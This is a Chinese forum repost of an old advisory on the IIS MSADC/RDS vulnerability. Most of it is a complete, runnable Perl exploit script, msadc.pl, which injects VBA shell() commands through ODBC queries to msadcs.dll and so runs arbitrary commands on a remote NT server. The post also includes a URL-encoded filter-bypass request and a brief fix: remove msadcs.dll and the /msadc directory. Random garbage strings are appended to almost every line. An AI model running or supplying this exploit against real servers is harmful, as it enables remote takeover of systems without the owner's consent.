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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) os#j;C]l  
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涉及程序: >~ne(n4qy  
Microsoft NT server j)J4[j  
(]iw#m{  
描述: h~F uuL  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 l "d&Sgnj  
VF 6@;5p  
详细: 5V%K'a(  
如果你没有时间读详细内容的话,就删除: <'s1+^LC  
c:\Program Files\Common Files\System\Msadc\msadcs.dll q4U?}=PD  
有关的安全问题就没有了。 fT 8"1f|w  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 KsHovv-A  
q A G0t{K  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ~_h4|vG  
关于利用ODBC远程漏洞的描述,请参看: ty7a&>G  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm .4?M.Z4[  
we{*%8I;  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 +z9;BPw %  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ;2bG-v'4vO  
eo,m ^&  
这里不再论述。 JfC.U,7Nc  
,ZH)[P)5P  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ]YwIuz6]  
Y`c\{&M6  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset  5+VdZ'@  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ;ATk?O4T  
hbN*_[  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" #Dy;x\a  
fC(lY4,H3R  
#!perl s7&% _!4  
# u8o!ncy  
# MSADC/RDS 'usage' (aka exploit) script *D`,z3/*  
# ~L4"t_-  
# by rain.forest.puppy ?VReKv1\  
# f^0vkWI2  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Hm4lR{A  
# beta test and find errors! xb1)ZJH  
mp@JsCU  
use Socket; use Getopt::Std; ,`H=%#  
getopts("e:vd:h:XR", \%args); 'jmcS0f -  
dJCu`34Y'|  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; sRY: 7>eg  
@ZT25CD  
if (!defined $args{h} && !defined $args{R}) { +mAMCM2N  
print qq~ }g(aZ  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ?#]c{Tlpz  
-h <host> = host you want to scan (ip or domain) Y B)1dzU  
-d <seconds> = delay between calls, default 1 second %L~X\M:Qk  
-X = dump Index Server path table, if available m>UJ; F  
-v = verbose EStHl(DUPq  
-e = external dictionary file for step 5 f~"3#MaV  
(|bht0  
Or a -R will resume a command session zW+Y{^hf  
6bfk4k  
~; exit;} 8/=[mYn`-  
\@I.K+hj$  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 7b Gzun&  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} .R:eN&Y 8y  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} eW\_9E)cY  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ir/2/ E  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} {feS-.Khv  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } - FE)  
x6F\|nb  
if (!defined $args{R}){ $ret = &has_msadc; ZwG+rTW  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} |a'Q^aT  
J'2R-CI,  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ZZlR:D  
. "cmd /c "; :B"'49Q`  
$in=<STDIN>; chomp $in; Cr(pN[,  
$command="cmd /c " . $in ; AV%Q5Mi}  
hW/*]7AM^  
if (defined $args{R}) {&load; exit;} MRmz/ZmRM  
b8QW^Z  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; E8IWHh_  
&try_btcustmr; +Cau/sPXL  
Bt.W_p  
print "\nStep 2: Trying to make our own DSN..."; =U@*adgw  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; U7:~@eYy  
")Bf^DV  
print "\nStep 3: Trying known DSNs..."; }rGDM  
&known_dsn; sU{+.k{  
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print "\nStep 4: Trying known .mdbs..."; K$(U>D|  
&known_mdb; vtr:{   
vqL{~tR  
if (defined $args{e}){ rhL<JTS  
print "\nStep 5: Trying dictionary of DSN names..."; 2|Tt3/Rn  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ,PIdPaV--  
h8S%Q|-  
print "Sorry Charley...maybe next time?\n"; b^A&K@[W#,  
exit; 0BE%~W  
0.+iVOz+Y  
############################################################################## s?_b[B d  
6`+DBr  
sub sendraw { # ripped and modded from whisker 6W#+U<  
sleep($delay); # it's a DoS on the server! At least on mine... R o%S_!  
my ($pstr)=@_; ]qpcA6%a|  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || rJNf&x%6  
die("Socket problems\n"); GWP"i77y0s  
if(connect(S,pack "SnA4x8",2,80,$target)){ kZn!]TseN  
select(S); $|=1; (EohxLl!p  
print $pstr; my @in=<S>; vTB*J,6.  
select(STDOUT); close(S); q F}5mUcZ4  
return @in;  H) (K  
} else { die("Can't connect...\n"); }} pX*mX]  
d2(eX\56Z  
############################################################################## DJ<e=F!  
kXG+zsT  
sub make_header { # make the HTTP request `SIJszqc  
my $msadc=<<EOT AM Rj N;  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 6^ KDc  
User-Agent: ACTIVEDATA I>P</TE7  
Host: $ip &[3!Lk`.0  
Content-Length: $clen ";>D0h^D  
Connection: Keep-Alive Jl^oDW  
;$0za]x  
ADCClientVersion:01.06 Sb{S^w\m0  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 )6AOP-M.9  
r Ssv^W+  
--!ADM!ROX!YOUR!WORLD! k $+&  
Content-Type: application/x-varg huN(Q{fj  
Content-Length: $reqlen {0QA+[Yd&!  
c85B-/  
EOT Rx'7tff%I  
; $msadc=~s/\n/\r\n/g; 4CN8>J'-  
return $msadc;} K1eoZ8=!  
^_<pc|1  
############################################################################## />n0&~k[h  
,*C^ixNE  
sub make_req { # make the RDS request M{(Y|3W  
my ($switch, $p1, $p2)=@_; P- vA.7  
my $req=""; my $t1, $t2, $query, $dsn; 1L$u8P^<  
}f({03$  
if ($switch==1){ # this is the btcustmr.mdb query tG#F7%+E  
$query="Select * from Customers where City=" . make_shell(); !C/`"JeYL  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . b< [eBXe  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 134wK]d^  
J4co@=AJ  
elsif ($switch==2){ # this is general make table query B3yn:=80  
$query="create table AZZ (B int, C varchar(10))"; "= %-  
$dsn="$p1";} j5ui  
n_c0=YH  
elsif ($switch==3){ # this is general exploit table query r[\47cG  
$query="select * from AZZ where C=" . make_shell(); 6=H-H\iw  
$dsn="$p1";} x3WY26e  
huR<+ =!  
elsif ($switch==4){ # attempt to hork file info from index server B 1p9pr  
$query="select path from scope()"; s5z@`M5'm  
$dsn="Provider=MSIDXS;";} :;|x'[JoE?  
{O"dj;RU  
elsif ($switch==5){ # bad query C6, Bqlio  
$query="select"; c=Z#7?k=Uz  
$dsn="$p1";} _VMJq9.  
! q1Ql18n  
$t1= make_unicode($query); %%DK?{jo`  
$t2= make_unicode($dsn); Wh4lz~D\@  
$req = "\x02\x00\x03\x00"; B! -W765Y  
$req.= "\x08\x00" . pack ("S1", length($t1)); j#~4JGZt  
$req.= "\x00\x00" . $t1 ; 2C-RoZ~  
$req.= "\x08\x00" . pack ("S1", length($t2)); dm.3.xXq  
$req.= "\x00\x00" . $t2 ; LpF6e9V\Wp  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; =l_eliM/  
return $req;} &GbCJ  
=]Ek12.  
############################################################################## I5D\Z  
9(B)  
sub make_shell { # this makes the shell() statement w$t2Hd  
return "'|shell(\"$command\")|'";} f,?7,?x  
DSnsi@Mi  
############################################################################## RhDa`kV%t  
(8>k_  
sub make_unicode { # quick little function to convert to unicode ^\wosB3E  
my ($in)=@_; my $out; OZv&{_b_  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } UcK!v*3E  
return $out;} S@*@*>s^  
ll5Kd=3  
############################################################################## VLOyUt~O#  
Gge"`AT  
sub rdo_success { # checks for RDO return success (this is kludge) Uz62!)  
my (@in) = @_; my $base=content_start(@in); /_56H?w\  
if($in[$base]=~/multipart\/mixed/){ +nqOP3  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 2 na8G  
return 0;} H?B.Hp|  
:)MZgW  
############################################################################## A&t}s #3  
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sub make_dsn { # this makes a DSN for us N.2rF  
my @drives=("c","d","e","f"); O0Z'vbFG  
print "\nMaking DSN: "; + 6}FUi!"e  
foreach $drive (@drives) { */S ,CV  
print "$drive: "; Yhx~5p  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . MQ,2v. vZ.  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ,Y&kW'2  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); =lffr?#&B  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; c''!&;[!  
return 0 if $2 eq "404"; # not found/doesn't exist 2s(K4~ee  
if($2 eq "200") { !-7(.i-  
foreach $line (@results) { [Q%3=pm_  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} "w7:{E5e  
} return 0;} =!{dKz-&  
-BjB>Vt  
############################################################################## "o TwMU  
J5l:_hZUV  
sub verify_exists { lOE bh  
my ($page)=@_; *vj5J"Y(;t  
my @results=sendraw("GET $page HTTP/1.0\n\n"); '~a!~F~>  
return $results[0];} ; aMMI p  
WFh!re%Z  
############################################################################## `bxgg'V  
r<0 .!j%c  
sub try_btcustmr { zPVA6~|l  
my @drives=("c","d","e","f"); N .SszZh  
my @dirs=("winnt","winnt35","winnt351","win","windows"); I015)vFc  
h<QXr'4+  
foreach $dir (@dirs) { jUfc&bi3  
print "$dir -> "; # fun status so you can see progress U 26Iz  
foreach $drive (@drives) { /Ia#udkNMp  
print "$drive: "; # ditto U3Dy:K[  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 3*'!,gK~[  
$reqlenlen=length( "$reqlen" ); HWHGxg['r  
$clen= 206 + $reqlenlen + $reqlen; .jRXHrK;  
k r/[|.bq  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); M2m@N-+R   
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ",K6zALJ  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} WIb U^WJ0  
7sFjO/a*  
############################################################################## )X7ZX#ttH  
mM95BUB  
sub odbc_error { 1 8&^k|  
my (@in)=@_; my $base; .vb*|So  
my $base = content_start(@in); Q"(i  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this yX)2 hj:s  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; x2nNkd0h  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; LS \4y&J40  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; _ Fer-nQ2R  
return $in[$base+4].$in[$base+5].$in[$base+6];} a u#IA  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; %f>V\z_C  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . hio{: (  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}  %RJW@~!  
6x.#K9@q4  
############################################################################## B,A/ -B\  
,iHl;3bu  
sub verbose { MbJV)*Q  
my ($in)=@_; / AW]12_  
return if !$verbose; 19lx;^b  
print STDOUT "\n$in\n";} jgC/  
J M`uIVnNA  
############################################################################## ho0T$hB  
)v'DQAL  
sub save { #kxg|G[Ol  
my ($p1, $p2, $p3, $p4)=@_; Kj}}O2  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 3 8f9jF%7j  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; dM$]OAT  
close OUT;} _E?(cWC  
"V^(i%E;  
############################################################################## gjwp' GN  
.m4K ]^m  
sub load { \BS^="AcpP  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; jd$lu^>I  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); x0 j$]$  
@p=<IN>; close(IN); g#H#i~E^  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); p;C`n)7P7  
$target= inet_aton($ip) || die("inet_aton problems"); 0z%]HlPg  
print "Resuming to $ip ..."; |}#Rn`*2y  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 3ldOOQW%  
if($p[1]==1) { f^',J@9@  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; q3 9 RD  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; `s.y!(`q  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); O!;!amvz  
if (rdo_success(@results)){print "Success!\n";} 44cyD _(  
else { print "failed\n"; verbose(odbc_error(@results));}} =b6Q2s,i  
elsif ($p[1]==3){ \.}* s]6  
if(run_query("$p[3]")){ 5Rc 5/m  
print "Success!\n";} else { print "failed\n"; }} G<>`O;i  
elsif ($p[1]==4){ fUE jl  
if(run_query($drvst . "$p[3]")){ 2!l)% F`  
print "Success!\n"; } else { print "failed\n"; }} P,*R@N  
exit;} &"25a[x{B  
"y62Wo6m)  
############################################################################## SB]|y -su  
0;]tC\D1  
sub create_table { rs<UWk<q  
my ($in)=@_; z m_mLk$4H  
$reqlen=length( make_req(2,$in,"") ) - 28; `L0}^ |`9  
$reqlenlen=length( "$reqlen" ); }yXa1#3  
$clen= 206 + $reqlenlen + $reqlen; k(V#{ YP  
my @results=sendraw(make_header() . make_req(2,$in,"")); 8Kv=Zp,?`  
return 1 if rdo_success(@results); |2^cPnv?G&  
my $temp= odbc_error(@results); verbose($temp); U@i+XZc"S  
return 1 if $temp=~/Table 'AZZ' already exists/; K /. ;N.9  
return 0;} >/-<,,<\C  
# Z8<H  
############################################################################## [NyR$yD{  
F2lTDuk>C  
sub known_dsn { r"k\G\,%  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go e6,/ i  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Ey 4GyAl  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", D4[t@*m>7  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 8 \%*4L'  
MdCEp1Z  
foreach $dSn (@dsns) { :+en8^r%  
print "."; ~%>ke  
next if (!is_access("DSN=$dSn")); Q]66v$  
if(create_table("DSN=$dSn")){ PT|t6V"wd  
print "$dSn successful\n"; / bfLox  
if(run_query("DSN=$dSn")){ >P/.X^G0  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { U^:+J-z{  
print "Something's borked. Use verbose next time\n";}}} print "\n";} CH!Lf,G  
YY'46  
############################################################################## qMKXS,s  
c]#F^(-A`  
sub is_access { ub7|'+5  
my ($in)=@_; /+iU1m'(  
$reqlen=length( make_req(5,$in,"") ) - 28; yB,$4:C  
$reqlenlen=length( "$reqlen" ); 4E<iIA\x  
$clen= 206 + $reqlenlen + $reqlen; l3rr2t  
my @results=sendraw(make_header() . make_req(5,$in,"")); A6pPx1-&  
my $temp= odbc_error(@results); 0c /xE<h  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); \"|E8A6/  
return 0;} 6f{Kj)  
[3}m|W<  
############################################################################## l/#;GYB]  
48W$ ,  
sub run_query { 4ZSc'9e9  
my ($in)=@_; ~~;J[F p  
$reqlen=length( make_req(3,$in,"") ) - 28; 6XKiVP;h%  
$reqlenlen=length( "$reqlen" ); hvwKhQ}wX  
$clen= 206 + $reqlenlen + $reqlen; 7c5+8k3  
my @results=sendraw(make_header() . make_req(3,$in,"")); {OH "d  
return 1 if rdo_success(@results); SI^!e1@M[  
my $temp= odbc_error(@results); verbose($temp); l'y)L@|Qrh  
return 0;} qwoF4_VN  
#2^eGhwnI  
############################################################################## 2mRm.e9?  
]>B>.s  
sub known_mdb { |eU{cK~e^  
my @drives=("c","d","e","f","g"); au1uFu-  
my @dirs=("winnt","winnt35","winnt351","win","windows"); *@^9 ]$*$  
my $dir, $drive, $mdb; F4`ud;1H  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 4|ML#aRz  
_H} 8eU  
# this is sparse, because I don't know of many P uYAoKG  
my @sysmdbs=( "\\catroot\\icatalog.mdb", e5W 8YNA  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", W+k SL{0  
"\\system32\\certmdb.mdb", #R-l2OO^]  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% : M=0o<  
U["'>&B  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", (kCzz-_\  
"\\cfusion\\cfapps\\forums\\forums_.mdb", J!YB_6b  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 5%Hw,h   
"\\cfusion\\cfapps\\security\\realm_.mdb", qT5q3A(8  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", suiO%H^t  
"\\cfusion\\database\\cfexamples.mdb", ] -iMo4H  
"\\cfusion\\database\\cfsnippets.mdb", CC"}aV5  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 9kZ[Z ,=>  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", EhB0w;c  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Kg4\:A7Sa.  
"\\cfusion\\database\\smpolicy.mdb", Y=6569U2  
"\\cfusion\\database\cypress.mdb", `#Z=cq^_  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 9EHhVi  
"\\website\\cgi-win\\dbsample.mdb", g3B%}!|  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", zZR_&z<  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" pL 2P .  
); #these are just @ LPs.e  
foreach $drive (@drives) { R2,Z`I  
foreach $dir (@dirs){ y=.`:EB9b  
foreach $mdb (@sysmdbs) { ktF\f[  
print "."; vLCyT=OB`  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ,6@s N'c  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; %dn!$[D@  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ K@U[x,Sx  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; \USl 9*E  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 7n}$|h5D  
lrQNl^K}=  
foreach $drive (@drives) { ?gYQE&M !  
foreach $mdb (@mdbs) { *62Cf[a  
print "."; = j)5kY`  
if(create_table($drv . $drive . $dir . $mdb)){ [/E|n[Bx  
print "\n" . $drive . $dir . $mdb . " successful\n"; \D6 7J239E  
if(run_query($drv . $drive . $dir . $mdb)){ l5P!9P  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; <UsFBF  
} else { print "Something's borked. Use verbose next time\n"; }}}} &l M=>?  
} U</Vcz  
S@4p.NMU  
############################################################################## IX+!+XC"U  
Q%>6u@'  
sub hork_idx { D`hl}  
print "\nAttempting to dump Index Server tables...\n"; C}jFR] x)  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; l/xpAx  
$reqlen=length( make_req(4,"","") ) - 28; ]8 vsr$E#  
$reqlenlen=length( "$reqlen" ); r_>]yp  
$clen= 206 + $reqlenlen + $reqlen; T"IDCT'z  
my @results=sendraw2(make_header() . make_req(4,"","")); -qyhg-k6  
if (rdo_success(@results)){ |!m8JV|x  
my $max=@results; my $c; my %d; 7! sR%h5p  
for($c=19; $c<$max; $c++){ QzLE9   
$results[$c]=~s/\x00//g; p`qy57  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; @V}!elV  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; E|_J  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; MZd?cS  
$d{"$1$2"}="";} LS:^K  
foreach $c (keys %d){ print "$c\n"; } 7H])2:)  
} else {print "Index server doesn't seem to be installed.\n"; }} u!CcTE*  
{q!GTO  
############################################################################## (4f]<Qt  
{e!3|&AX  
sub dsn_dict { ~v>3lEGn*  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); utzf7?nIS  
while(<IN>){ WBN3:Y7  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; @6"+x  
next if (!is_access("DSN=$dSn")); /$NR@56 \  
if(create_table("DSN=$dSn")){ HkPdqNC&  
print "$dSn successful\n"; n:"0mWnL$y  
if(run_query("DSN=$dSn")){ !-HJ%(5:F  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { `;Od0uh  
print "Something's borked. Use verbose next time\n";}}} 3D}Pa  
print "\n"; close(IN);} MX 7 Y1  
=|LB,REN  
############################################################################## imc1rY!~'  
:8t;_f  
sub sendraw2 { # ripped and modded from whisker )ko[_OJj  
sleep($delay); # it's a DoS on the server! At least on mine... Bv xLbl}  
my ($pstr)=@_; =JaxT90x  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || FJD;LpW  
die("Socket problems\n"); 'ws@I?!r  
if(connect(S,pack "SnA4x8",2,80,$target)){ {F=`IE3)w  
print "Connected. Getting data"; ]bP1gV(b-  
open(OUT,">raw.out"); my @in; JA09 o(  
select(S); $|=1; print $pstr; :JXGgl<y  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} @rP#ktz]  
close(OUT); select(STDOUT); close(S); return @in; laRn![[  
} else { die("Can't connect...\n"); }} k 1l K`p  
J?Bj=b  
############################################################################## 1lYQR`Uh  
L[voouaqm  
sub content_start { # this will take in the server headers De ([fC  
my (@in)=@_; my $c; }ijFvIHV  
for ($c=1;$c<500;$c++) { rL,kDSLs  
if($in[$c] =~/^\x0d\x0a/){  )mH(Hx  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 'YB{W8bR  
else { return $c+1; }}} |R;`  
return -1;} # it should never get here actually m1D,#=C,_  
OUhlQq\  
############################################################################## tISb' ^T  
Nd He::  
sub funky { s|][p|  
my (@in)=@_; my $error=odbc_error(@in); d(YAH@  
if($error=~/ADO could not find the specified provider/){ (qw;-A W8  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; U!jRF  
exit;}  eIj2(q9  
if($error=~/A Handler is required/){ GdM|?u&s"  
print "\nServer has custom handler filters (they most likely are patched)\n"; Mtaky=l8~I  
exit;} *P\OP'o_  
if($error=~/specified Handler has denied Access/){ =4uO"o  
print "\nServer has custom handler filters (they most likely are patched)\n"; *+%$OH,  
exit;}} ^|%N _ s  
XMF#l]P  
############################################################################## CG ,H  
JLGC'mbJ  
sub has_msadc { Ip0`R+8  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); " 1h~P,  
my $base=content_start(@results); 5Mp$u756  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 06 an(& a9  
return 0;} \I7&F82e  
*QT7\ht3  
######################## G;e)K\[J  
HggINMG  
_xM}*_<VP  
解决方案: J u"/#@  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll F8J\#PW  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 NftR2  
-+0!Fkt@,  
拿出来充数 哈哈
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